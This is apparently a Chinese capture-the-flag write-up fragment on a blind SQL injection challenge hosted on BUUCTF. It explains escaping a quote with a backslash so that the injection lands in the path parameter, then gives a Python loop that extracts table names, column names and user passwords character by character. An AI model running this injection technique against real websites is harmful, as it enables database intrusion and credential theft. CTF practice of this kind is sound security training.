1. 如果我们正常注入语句 where id='1'or 1=1#' or path='{$path}' 由于过滤 where id='1/'or 1=1#' or path='{$path}' 这里的 1/'or 1=1# 变成了id的内容,我们的引号永远留不下,或许我们可以利用搜索语句自带的'',因为这个不会过滤吧 但是我们目标是让 where id=' ' or path=' ' 的 ' or path= 变成id的一部分,而最后剩下的引号被#注释掉,中间我们就可以输入注入语句了
for i in range(1,500,1): for y in range(1,128,1): #url = 'http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=database()),'+str(i)+',1))='+str(y)+')%23' #url='http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x7573657273)),'+str(i)+',1))='+str(y)+')%23' url='http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(password))from(users)),'+str(i)+',1))='+str(y)+')%23' data=requests.get(url) if "JFIF" in str(data.content): flag=flag+chr(y) print(flag) break